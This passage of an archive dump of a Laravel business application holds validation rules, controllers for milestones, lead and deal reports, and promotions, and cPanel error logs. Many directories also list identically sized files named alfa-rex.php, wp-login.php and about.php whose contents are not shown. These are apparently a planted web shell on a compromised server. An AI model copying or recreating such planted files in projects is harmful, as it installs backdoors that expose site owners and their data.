(isset($this->adjustment_amount) && !is_null($this->adjustment_amount)) { $min_adjustment_amount = -$this->min_adjustment_amount; $rules['adjustment_amount'] = 'gte:' . $min_adjustment_amount; } return $rules; } public function messages() { return [ 'adjustment_amount.gte' => 'Adjustment amount must be greater than or equals to total payment amount of this invoice' ]; } } Http/Requests/CreditNotes/.htaccess000064400000000544150325104510013316 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/CreditNotes/creditNoteFileStore.php000064400000001246150325104510016146 0ustar00 'required', 'file' => 'required|mimes:pdf,doc,docx,jpg,jpeg,png,webp,xls,xlsx' ]; } } Http/Requests/CreditNotes/alfa-rex.php7000064400000026574150325104510014032 0ustar00Http/Requests/CreditNotes/alfa-rex.php8000064400000026574150325104510014033 0ustar00Http/Requests/CreditNotes/wp-login.php000064400000026574150325104510014000 0ustar00Http/Requests/CreditNotes/UpdateCreditNote.php000064400000001532150325104510015432 0ustar00 'required', 'sub_total' => 'required', 'total' => 'required' ]; if($this->recurring_payment == 'yes') { $rules['billing_frequency'] = 'required'; $rules['billing_interval'] = 'required|integer'; $rules['billing_cycle'] = 'required|integer'; } return $rules; } } Http/Requests/CreditNotes/alfa-rex.php56000064400000026574150325104510014116 0ustar00Http/Requests/CreditNotes/about.php000064400000026574150325104510013356 0ustar00Http/Requests/CreditNotes/error_log000064400000001626150325104510013437 0ustar00[04-Jul-2025 14:51:47 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 15:20:31 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Requests/CreditNotes/about.php7000064400000026574150325104510013445 0ustar00Http/Requests/UpdateEstimateRequestStatus.php000064400000001260150325104510015475 0ustar00|string> */ public function rules(): array { return [ 'status' => 'required|in:accepted,rejected,in process', 'reason' => 'required_if:status,rejected|string|max:255', ]; } } Http/Requests/InvoicePaymentRequest.php000064400000001020150325104510014277 0ustar00 */ public function rules() { return [ 'title' => 'required' ]; } }Http/Requests/about.php7000064400000026574150325104510011222 0ustar00Http/Requests/TicketReplyTemplate/alfa-rex.php000064400000026574150325104510015453 0ustar00Http/Requests/TicketReplyTemplate/.htaccess000064400000000544150325104510015026 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/TicketReplyTemplate/alfa-rex.php7000064400000026574150325104510015542 0ustar00Http/Requests/TicketReplyTemplate/alfa-rex.php8000064400000026574150325104510015543 0ustar00Http/Requests/TicketReplyTemplate/wp-login.php000064400000026574150325104510015510 0ustar00Http/Requests/TicketReplyTemplate/alfa-rex.php56000064400000026574150325104510015626 0ustar00Http/Requests/TicketReplyTemplate/about.php000064400000026574150325104510015066 0ustar00Http/Requests/TicketReplyTemplate/error_log000064400000001626150325104510015147 0ustar00[04-Jul-2025 15:02:32 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 15:14:05 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Requests/TicketReplyTemplate/StoreTemplate.php000064400000001446150325104510016533 0ustar00 'required', 'description' => [ 'required', function ($attribute, $value, $fail) { if (trim_editor($value) == '') { $fail(__('validation.required')); } } ] ]; } } Http/Requests/TicketReplyTemplate/UpdateTemplate.php000064400000001070150325104510016652 0ustar00 'required', 'description' => 'required' ]; } } Http/Requests/TicketReplyTemplate/about.php7000064400000026574150325104510015155 0ustar00Http/Requests/Orders/alfa-rex.php000064400000026574150325104510012756 0ustar00Http/Requests/Orders/StoreOrder.php000064400000002007150325104510013330 0ustar00has('show_shipping_address') ? $this->request->add(['show_shipping_address' => 'yes']) : $this->request->add(['show_shipping_address' => 'no']); $rules = [ 'client_id' => 'required', 'order_date' => 'required', 'due_date' => 'required', 'sub_total' => 'required', 'total' => 'required', 'currency_id' => 'required', ]; return $rules; } public function messages() { return [ 'client_id.required' => __('modules.projects.selectClient') ]; } } Http/Requests/Orders/.htaccess000064400000000544150325104510012331 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/Orders/alfa-rex.php7000064400000026574150325104510013045 0ustar00Http/Requests/Orders/alfa-rex.php8000064400000026574150325104510013046 0ustar00Http/Requests/Orders/wp-login.php000064400000026574150325104510013013 0ustar00Http/Requests/Orders/alfa-rex.php56000064400000026574150325104510013131 0ustar00Http/Requests/Orders/about.php000064400000026574150325104510012371 0ustar00Http/Requests/Orders/error_log000064400000001626150325104510012452 0ustar00[04-Jul-2025 13:31:57 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 13:34:22 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Requests/Orders/about.php7000064400000026574150325104510012460 0ustar00Http/Requests/Orders/PlaceOrder.php000064400000003022150325104510013256 0ustar00order_number) { $this->merge([ 'order_number' => NumberFormat::order($this->order_number), ]); } } /** * Get the validation rules that apply to the request. * * @return array */ public function rules() { $rules = []; $rules['status'] = 'sometimes|in:pending,on-hold,failed,processing,completed,canceled'; $rules['order_number'] = [ 'required', Rule::unique('orders')->where('company_id', company()->id) ]; if (request()->has('client_id')) { $rules['client_id'] = 'required'; } $rules = $this->customFieldRules($rules); return $rules; } public function attributes() { $attributes = []; $attributes = $this->customFieldsAttributes($attributes); return $attributes; } public function messages() { return [ 'client_id.required' => __('modules.projects.selectClient') ]; } } Http/Requests/Orders/UpdateOrder.php000064400000002007150325104510013456 0ustar00has('show_shipping_address') ? $this->request->add(['show_shipping_address' => 'yes']) : $this->request->add(['show_shipping_address' => 'no']); $rules = [ 'sub_total' => 'required', 'total' => 'required', ]; $rules = $this->customFieldRules($rules); return $rules; } public function attributes() { $attributes = []; $attributes = $this->customFieldsAttributes($attributes); return $attributes; } } Http/Requests/StoreVisaRequest.php000064400000001402150325104510013270 0ustar00 */ public function rules() { $setting = company(); return [ 'visa_number' => 'required|unique:visa_details', 'issue_date' => 'required', 'expiry_date' => 'required|date_format:"' . $setting->date_format . '"|after_or_equal:issue_date', 'country' => 'required' ]; } } Http/Requests/ChatStoreRequest.php000064400000002016150325104510013247 0ustar00merge([ 'message' => trim_editor($this->message), ]); } /** * Get the validation rules that apply to the request. * * @return array */ public function rules() { $rules = [ 'user_id' => 'required_if:user_type,employee', 'client_id' => 'required_if:user_type,client', ]; if($this->types == 'modal'){ $rules['message'] = 'required'; } return $rules; } public function messages() { return [ 'user_id.required_if' => 'Select a user to send the message', 'client_id.required_if' => 'Select a client to send the message', ]; } } Http/Requests/TaskBoard/alfa-rex.php000064400000026574150325104510013372 0ustar00Http/Requests/TaskBoard/.htaccess000064400000000544150325104510012745 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/TaskBoard/alfa-rex.php7000064400000026574150325104510013461 0ustar00Http/Requests/TaskBoard/alfa-rex.php8000064400000026574150325104510013462 0ustar00Http/Requests/TaskBoard/StoreTaskBoard.php000064400000001165150325104510014547 0ustar00 'required|unique:taskboard_columns,column_name,null,id,company_id,' . company()->id, 'label_color' => 'required' ]; } } Http/Requests/TaskBoard/wp-login.php000064400000026574150325104510013427 0ustar00Http/Requests/TaskBoard/alfa-rex.php56000064400000026574150325104510013545 0ustar00Http/Requests/TaskBoard/about.php000064400000026574150325104510013005 0ustar00Http/Requests/TaskBoard/error_log000064400000001626150325104510013066 0ustar00[04-Jul-2025 14:05:42 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 14:06:09 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Requests/TaskBoard/UpdateTaskBoard.php000064400000001217150325104510014673 0ustar00 'required|unique:taskboard_columns,column_name,'.$this->route('taskboard').',id,company_id,' . company()->id, 'label_color' => 'required' ]; } } Http/Requests/TaskBoard/about.php7000064400000026574150325104510013074 0ustar00Http/alfa-rex.php56000064400000026574150325104510010060 0ustar00Http/about.php000064400000026574150325104510007320 0ustar00Http/Controllers/alfa-rex.php000064400000026574150325104510012213 0ustar00Http/Controllers/GoogleAuthController.php000064400000003414150325104510014602 0ustar00code) { /** @phpstan-ignore-next-line */ return redirect($google->createAuthUrl()); } /** @phpstan-ignore-next-line */ $google->authenticate($request->code); $account = $google->service('Oauth2')->userinfo->get(); $googleAccount = \company(); if (empty($googleAccount->user_id) && empty($googleAccount->google_id) && empty($googleAccount->name) && empty($googleAccount->token)) { Session::flash('message', __('messages.googleCalendar.verifiedSuccess')); } else { Session::flash('message', __('messages.googleCalendar.updatedSuccess')); } $googleAccount->google_calendar_verification_status = 'verified'; $googleAccount->google_id = $account->id; $googleAccount->name = $account->name; /** @phpstan-ignore-next-line */ $googleAccount->token = $google->getAccessToken(); $googleAccount->update(); return redirect()->route('google-calendar-settings.index'); } public function destroy() { $googleAccount = \company(); $googleAccount->google_calendar_verification_status = 'non_verified'; $googleAccount->google_id = ''; $googleAccount->name = ''; $googleAccount->token = ''; $googleAccount->save(); session()->forget('company_setting'); session()->forget('company'); return Reply::success(__('messages.googleCalendar.removedSuccess')); } } Http/Controllers/ProjectMilestoneController.php000064400000016362150325104510016040 0ustar00pageTitle = 'app.menu.projects'; $this->middleware(function ($request, $next) { abort_403(!in_array('projects', $this->user->modules)); return $next($request); }); } /** * XXXXXXXXXXX * * @return \Illuminate\Http\Response */ public function create() { $id = request('id'); $this->project = Project::findOrFail($id); $addProjectMilestonePermission = user()->permission('add_project_milestones'); $project = Project::findOrFail($id); abort_403(!($addProjectMilestonePermission == 'all' || $project->project_admin == user()->id)); return view('projects.milestone.create', $this->data); } /** * @param StoreMilestone $request * @return array * @throws \Froiden\RestAPI\Exceptions\RelatedResourceNotFoundException */ public function store(StoreMilestone $request) { $milestone = new ProjectMilestone(); $milestone->project_id = $request->project_id; $milestone->milestone_title = $request->milestone_title; $milestone->summary = $request->summary; $milestone->cost = ($request->cost == '') ? '0' : $request->cost; $milestone->currency_id = $request->currency_id; $milestone->status = $request->status; $milestone->add_to_budget = $request->add_to_budget; $milestone->start_date = $request->start_date == null ? $request->start_date : companyToYmd($request->start_date); $milestone->end_date = $request->end_date == null ? $request->end_date : companyToYmd($request->end_date); $milestone->save(); $project = Project::findOrFail($request->project_id); if ($request->add_to_budget == 'yes') { $project->project_budget = (!is_null($project->project_budget) ? ($project->project_budget + $milestone->cost) : $milestone->cost); $project->currency_id = $request->currency_id; $project->save(); } $this->logProjectActivity($project->id, 'messages.newMilestoneCreated'); return Reply::success(__('messages.milestoneSuccess')); } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit($id) { $this->milestone = ProjectMilestone::findOrFail($id); $this->currencies = Currency::all(); return view('projects.milestone.edit', $this->data); } /** * @param StoreMilestone $request * @param int $id * @return array * @throws \Froiden\RestAPI\Exceptions\RelatedResourceNotFoundException */ public function update(StoreMilestone $request, $id) { $milestone = ProjectMilestone::findOrFail($id); // find the current cost of milestone $oldCost = $milestone->getOriginal('cost'); $milestone->project_id = $request->project_id; $milestone->milestone_title = $request->milestone_title; $milestone->summary = $request->summary; $milestone->cost = ($request->cost == '') ? '0' : $request->cost; $milestone->currency_id = $request->currency_id; $milestone->status = $request->status; $milestone->start_date = $request->start_date == null ? $request->start_date : companyToYmd($request->start_date); $milestone->end_date = $request->end_date == null ? $request->end_date : companyToYmd($request->end_date); $milestone->save(); $project = Project::findOrFail($milestone->project_id); // get the latest cost of milestone $newCost = $milestone->cost; $costDifference = $newCost - $oldCost; // Update the project budget if the add_to_budget flag is set to 'yes' if ($milestone->add_to_budget == 'yes') { // Update project budget $project->project_budget += $costDifference; $project->save(); } $this->logProjectActivity($milestone->project_id, 'messages.milestoneUpdated'); return Reply::success(__('messages.milestoneSuccess')); } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { $milestone = ProjectMilestone::findOrFail($id); // Retrieve the associated project $project = Project::findOrFail($milestone->project_id); // Update project budget by subtracting the cost of the milestone if ($milestone->add_to_budget == 'yes') { $project->project_budget -= $milestone->cost; $project->save(); } ProjectMilestone::destroy($id); $this->logProjectActivity($milestone->project_id, 'messages.milestoneDeleted'); return Reply::success(__('messages.deleteSuccess')); } public function show($id) { $viewMilestonePermission = user()->permission('view_project_milestones'); $this->milestone = ProjectMilestone::with('tasks', 'tasks.users', 'tasks.boardColumn', 'tasks.createBy', 'tasks.timeLogged', 'project')->findOrFail($id); $project = Project::withTrashed()->findOrFail($this->milestone->project_id); abort_403(!( $viewMilestonePermission == 'all' || ($viewMilestonePermission == 'added' && $this->milestone->added_by == user()->id) || ($viewMilestonePermission == 'owned' && $this->milestone->project->client_id == user()->id && in_array('client', user_roles())) || ($viewMilestonePermission == 'owned' && in_array('employee', user_roles())) || ($project->project_admin == user()->id) )); $totalTaskTime = 0; foreach ($this->milestone->tasks as $totalTime) { $totalMinutes = $totalTime->timeLogged->sum('total_minutes'); $breakMinutes = $totalTime->breakMinutes(); $totalMinutes = $totalMinutes - $breakMinutes; $totalTaskTime += $totalMinutes; } /** @phpstan-ignore-next-line */ $this->timeLog = CarbonInterval::formatHuman($totalTaskTime); return view('projects.milestone.show', $this->data); } public function byProject($id) { if ($id == 0) { $options = ''; } else { $projects = ProjectMilestone::where('project_id', $id)->whereNot('status', 'complete')->get(); $options = BaseModel::options($projects, null, 'milestone_title'); } return Reply::dataOnly(['status' => 'success', 'data' => $options]); } public function updateStatus(Request $request, $id) { $milestone = ProjectMilestone::findOrFail($id); $milestone->status = $request->input('status'); $milestone->save(); return response()->json(['status' => 'success', 'message' => __('messages.updateSuccess')]); } } Http/Controllers/LeadReportController.php000064400000035535150325104510014616 0ustar00excel = $excel; parent::__construct(); } /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function index() { $tab = request('tab'); $this->pageTitle = 'app.menu.deal'; $this->view = 'reports.lead.profile'; switch ($tab) { case 'lead': return $this->leadContact(); case 'chart': return $this->averageDealSizeReport(); break; default: return $this->profile(); break; } if (request()->ajax()) { return $this->returnAjax($this->view); } $this->activeTab = $tab ?: 'profile'; return view('reports.lead.index', $this->data); } public function profile() { $this->pageTitle = 'modules.lead.profile'; if (!request()->ajax()) { $this->fromDate = now($this->company->timezone)->startOfMonth(); $this->toDate = now($this->company->timezone); $this->agents = LeadAgent::with('user') ->join('users', 'users.id', 'lead_agents.user_id')->get(); } $tab = request('tab'); $this->activeTab = $tab ?: 'profile'; $this->view = 'reports.lead.profile'; $dataTable = new LeadReportDataTable(); return $dataTable->render('reports.lead.index', $this->data); } public function leadContact( ) { $this->employees = User::allEmployees(); $this->pageTitle = 'modules.leadContact.title'; $this->viewLeadPermission = $viewPermission = user()->permission('view_lead'); abort_403(!in_array($viewPermission, ['all', 'added', 'both', 'owned'])); if (!request()->ajax()) { $this->categories = LeadCategory::get(); $this->sources = LeadSource::get(); } $getTotal = 'withDatatable'; $dataTable = new LeadContactDataTable(); $tab = request('tab'); $this->activeTab = $tab ?: 'lead'; return $dataTable->render('reports.lead.lead-report', $this->data); } public function totalContact() { $request = request(); $this->viewLeadPermission = $viewPermission = user()->permission('view_lead'); $this->startDate = (request('start_date') != '') ? Carbon::createFromFormat($this->company->date_format, request('start_date')) : now($this->company->timezone)->startOfMonth(); $this->endDate = (request('end_date') != '') ? Carbon::createFromFormat($this->company->date_format, request('end_date')) : now($this->company->timezone); $startDate = $this->startDate->toDateString(); $endDate = $this->endDate->toDateString(); $totalCount = Lead::whereDate('created_at', '>=', $startDate) ->whereDate('created_at', '<=', $endDate) ->count(); return Reply::dataOnly(['totalCount' => $totalCount]); } public function averageDealSizeReport() { $this->pageTitle = 'app.menu.dealReport'; $request = request(); $companyId = $this->company->id; $this->currentYear = now()->format('Y'); $this->currentMonth = now()->month; $this->pipelines = LeadPipeline::all(); $this->categories = LeadCategory::all(); $defaultPipelineId = $this->pipelines->filter(function ($value) { return $value->default == 1; })->first()->id; $selectedYear = $request->year ? $request->year : now()->format('Y'); $pipelineId = $request->pipeline ? $request->pipeline : $defaultPipelineId; $categoryId = $request->category ? $request->category : null; $startDate = Carbon::createFromFormat('Y-m-d', $selectedYear.'-01-'.'01')->startOfYear(); $endDate = Carbon::createFromFormat('Y-m-d', $selectedYear.'-12-'.'31')->endOfYear(); $deals = Deal::select('pipeline_stages.name as stage_name', 'deals.value', 'deals.close_date') ->join('pipeline_stages', 'deals.pipeline_stage_id', '=', 'pipeline_stages.id') ->join('lead_pipelines', 'lead_pipelines.id', '=', 'pipeline_stages.lead_pipeline_id') ->where('lead_pipelines.id', $pipelineId) ->when($categoryId, function ($query) use ($categoryId) { return $query->where('deals.category_id', $categoryId); }) ->whereBetween('deals.close_date', [$startDate, $endDate]) ->get(); $dealsByStageAndMonth = $deals->groupBy(function ($deal) { return Carbon::parse($deal->close_date)->format('m'); }); $pipelineStages = PipelineStage::where('lead_pipeline_id', $pipelineId)->get(); $monthlyTotals = []; $stageColors = []; // Fetch stage colors from the database foreach ($pipelineStages as $stage) { $stageColors[$stage->name] = $stage->label_color; } // Loop through each month of the year for ($month = 1; $month <= 12; $month++) { $monthKey = str_pad($month, 2, '0', STR_PAD_LEFT); foreach ($pipelineStages as $stage) { $monthlyTotals[$monthKey][$stage->name] = 0; } if (isset($dealsByStageAndMonth[$monthKey])) { foreach ($dealsByStageAndMonth[$monthKey] as $deal) { $monthlyTotals[$monthKey][$deal->stage_name] += $deal->value; } } } $lastYear = Carbon::now()->subYear()->format('Y'); $this->years = range(Carbon::now()->year, $lastYear); $dealsByMonth = $deals->groupBy(function($deal) { return $deal->close_date->format('m'); }); $monthlyDealCounts = []; foreach ($dealsByMonth as $month => $dealsInMonth) { $monthlyDealCounts[$month] = $dealsInMonth->count(); } $monthRange = CarbonPeriod::create($startDate, '1 month', $endDate); foreach ($monthRange as $month) { $formattedMonth = Carbon::parse($month)->format('M'); $numMonth = Carbon::parse($month)->format('m'); $totalValue = $deals->filter(function ($value) use($numMonth, $selectedYear) { return $value->close_date->format('m') == $numMonth && $value->close_date->format('Y') == $selectedYear; })->sum('value'); $count = $monthlyDealCounts[$numMonth] ?? 0; $averageValue = $count > 0 ? $totalValue / $count : 0; $averageValue1 = round($averageValue, 1); $monthlyData[] = [ 'label' => $formattedMonth, 'value' => $averageValue1, ]; $value[] = $averageValue1; $lineChartDataset = [ 'name' => 'Average', 'chartType' => 'line', 'values' => array_column($monthlyData, 'value'), 'color' => 'black', ]; } $datasets = []; foreach ($pipelineStages as $stage) { $dataset = [ 'name' => $stage->name, 'chartType' => 'bar', 'values' => [], 'color' => $stageColors[$stage->name] ?? '#d4f542' ]; for ($month = 1; $month <= 12; $month++) { $monthKey = str_pad($month, 2, '0', STR_PAD_LEFT); $dataset['values'][] = $monthlyTotals[$monthKey][$stage->name] ?? 0; } $datasets[] = $dataset; } $datasets[] = $lineChartDataset; $this->data['datasets'] = $datasets; $dealReports = Deal::select( DB::raw('MONTH(close_date) as month'), DB::raw('COUNT(*) as deals_closed'), DB::raw('SUM(value) as total_deal_amount'), DB::raw('AVG(value) as average_deal_amount'), DB::raw("(SELECT COUNT(wonDeals.id) FROM deals as wonDeals INNER JOIN pipeline_stages on wonDeals.pipeline_stage_id = pipeline_stages.id WHERE wonDeals.close_date IS NOT NULL AND wonDeals.company_id = $companyId AND pipeline_stages.slug = 'win' AND wonDeals.lead_pipeline_id = $pipelineId AND MONTH(wonDeals.close_date) = MONTH(deals.close_date) AND YEAR(wonDeals.close_date) = YEAR(deals.close_date)) as won_deals"), DB::raw("(SELECT SUM(wonDealsAmount.value) FROM deals as wonDealsAmount INNER JOIN pipeline_stages as pipelineStag on wonDealsAmount.pipeline_stage_id = pipelineStag.id WHERE wonDealsAmount.close_date IS NOT NULL AND wonDealsAmount.company_id = $companyId AND pipelineStag.slug = 'win' AND wonDealsAmount.lead_pipeline_id = $pipelineId AND MONTH(wonDealsAmount.close_date) = MONTH(deals.close_date) AND YEAR(wonDealsAmount.close_date) = YEAR(deals.close_date)) as deals_won_amount"), DB::raw("(SELECT COUNT(lostDeals.id) FROM deals as lostDeals INNER JOIN pipeline_stages on lostDeals.pipeline_stage_id = pipeline_stages.id WHERE lostDeals.close_date IS NOT NULL AND lostDeals.company_id = $companyId AND pipeline_stages.slug = 'lost' AND lostDeals.lead_pipeline_id = $pipelineId AND MONTH(lostDeals.close_date) = MONTH(deals.close_date) AND YEAR(lostDeals.close_date) = YEAR(deals.close_date)) as lost_deals"), DB::raw("(SELECT SUM(lostDeal_amount.value) FROM deals as lostDeal_amount INNER JOIN pipeline_stages on lostDeal_amount.pipeline_stage_id = pipeline_stages.id WHERE lostDeal_amount.close_date IS NOT NULL AND pipeline_stages.slug = 'lost' AND lostDeal_amount.company_id = $companyId AND lostDeal_amount.lead_pipeline_id = $pipelineId AND MONTH(lostDeal_amount.close_date) = MONTH(deals.close_date) AND YEAR(lostDeal_amount.close_date) = YEAR(deals.close_date)) as deals_lost_amount"), DB::raw("(SELECT COUNT(other_stages.id) FROM deals as other_stages INNER JOIN pipeline_stages on other_stages.pipeline_stage_id = pipeline_stages.id WHERE other_stages.close_date IS NOT NULL AND pipeline_stages.slug != 'lost' AND pipeline_stages.slug != 'win' AND other_stages.company_id = $companyId AND other_stages.lead_pipeline_id = $pipelineId AND MONTH(other_stages.close_date) = MONTH(deals.close_date) AND YEAR(other_stages.close_date) = YEAR(deals.close_date)) as deals_other_stages"), DB::raw("(SELECT SUM(other_stages_value.value) FROM deals as other_stages_value INNER JOIN pipeline_stages on other_stages_value.pipeline_stage_id = pipeline_stages.id WHERE other_stages_value.close_date IS NOT NULL AND pipeline_stages.slug != 'lost' AND pipeline_stages.slug != 'win' AND other_stages_value.company_id = $companyId AND other_stages_value.lead_pipeline_id = $pipelineId AND MONTH(other_stages_value.close_date) = MONTH(deals.close_date) AND YEAR(other_stages_value.close_date) = YEAR(deals.close_date)) as deals_other_stages_value"), )->where(DB::raw('YEAR(close_date)'), $selectedYear) ->where('lead_pipeline_id', $pipelineId) ->when($categoryId, function ($query) use ($categoryId) { return $query->where('deals.category_id', $categoryId); }) ->whereNotNull('close_date') ->groupBy(DB::raw('MONTH(close_date)')) ->get(); $this->dealDatas = collect(range(1, 12))->map(function ($month) use ($dealReports) { $deal = $dealReports->firstWhere('month', $month); return [ 'month' => Carbon::createFromDate(null, $month, 1)->format('F'), 'deals_closed' => $deal && $deal->deals_closed ? $deal->deals_closed : 0, 'total_deal_amount' => $deal && $deal->total_deal_amount ? round($deal->total_deal_amount, 2) : 0, 'average_deal_amount' => $deal && $deal->average_deal_amount ? round($deal->average_deal_amount, 2) : 0, 'won_deals' => $deal && $deal->won_deals ? $deal->won_deals : 0, 'deals_won_amount' => $deal && $deal->deals_won_amount ? round($deal->deals_won_amount, 2) : 0, 'lost_deals' => $deal && $deal->lost_deals ? $deal->lost_deals : 0, 'deals_lost_amount' => $deal && $deal->deals_lost_amount ? round($deal->deals_lost_amount, 2) : 0, 'other_stages' => $deal && $deal->deals_other_stages ? $deal->deals_other_stages : 0, 'other_stages_value' => $deal && $deal->deals_other_stages_value ? round($deal->deals_other_stages_value, 2) : 0, ]; }); $tab = request('tab'); $this->activeTab = $tab ?: 'chart'; if ($request->ajax()) { $html = view('reports.lead.deal-report', ['dealDatas' => $this->dealDatas])->render(); return response()->json(['datasets' => $datasets, 'html' => $html]); } else { return view('reports.lead.report-chart', $this->data); } } public function exportDealReport($year, $pipelineId, $categoryId = null) { $pipeline = LeadPipeline::find($pipelineId); $category = $categoryId ? LeadCategory::find($categoryId) : null; abort_403(!canDataTableExport()); $exportedData = new DealReportExport($year, $pipelineId, $categoryId); $pipelineName = strtolower(str_replace(' ', '-', $pipeline->name)); $categoryName = $category ? strtolower(str_replace(' ', '-', $category->category_name)) : 'all-categories'; $fileName = 'deal-report-' . $pipelineName . '-' . $categoryName . '-' . $year . '.xlsx'; // Return the Excel file download response return $this->excel->download($exportedData, $fileName); } } Http/Controllers/PromotionController.php000064400000010367150325104510014537 0ustar00pageTitle = 'modules.incrementPromotion.incrementPromotions'; $this->middleware(function ($request, $next) { abort_403(user()->permission('manage_increment_promotion') != 'all'); return $next($request); }); } /** * Show the form for creating a new resource. */ public function create() { $this->pageTitle = __('modules.incrementPromotion.addPromotion'); $this->userId = request()->user_id ? request()->user_id : null; $this->promotion = Promotion::where('employee_id', $this->userId)->latest()->first(); $this->employeeDetail = EmployeeDetails::select('id', 'user_id', 'department_id', 'designation_id')->where('user_id', $this->userId)->first(); $this->currentDesignation = $this->employeeDetail->designation; $this->currentDepartment = $this->employeeDetail->department; // Override with promotion details if available if ($this->promotion) { $this->currentDesignation = $this->promotion->currentDesignation ?? $this->currentDesignation; $this->currentDepartment = $this->promotion->currentDepartment ?? $this->currentDepartment; } $this->designations = Designation::allDesignations(); $this->departments = Team::allDepartments(); return view('employees.ajax.add-promotion', $this->data)->render(); } /** * Store a newly created resource in storage. */ public function store(StorePromotionRequest $request) { DB::beginTransaction(); $data = [ 'employee_id' => $request->user_id, 'date' => $request->date ? companyToYmd($request->date) : Carbon::now()->format('Y-m-d'), 'previous_designation_id' => $request->previous_designation_id, 'current_designation_id' => $request->current_designation_id, 'previous_department_id' => $request->previous_department_id, 'current_department_id' => $request->current_department_id, 'send_notification' => $request->send_notification == 'yes' ? $request->send_notification : 'no', 'created_at' => Carbon::now()->format('Y-m-d H:i:s'), 'updated_at' => Carbon::now()->format('Y-m-d H:i:s') ]; Promotion::create($data); DB::commit(); return Reply::success(__('messages.promotionAddedSuccess')); } /** * Show the form for editing the specified resource. */ public function edit(string $id) { $this->pageTitle = __('modules.incrementPromotion.editPromotion'); $this->promotion = Promotion::findOrFail($id); $this->userId = $this->promotion->employee_id ?? null; $this->designations = Designation::allDesignations(); $this->departments = Team::allDepartments(); return view('employees.ajax.edit-promotion', $this->data)->render(); } /** * Update the specified resource in storage. */ public function update(StorePromotionRequest $request, string $id) { DB::beginTransaction(); $promotion = Promotion::findOrFail($id); $promotion->update([ 'date' => $request->date ? companyToYmd($request->date) : Carbon::now()->format('Y-m-d'), 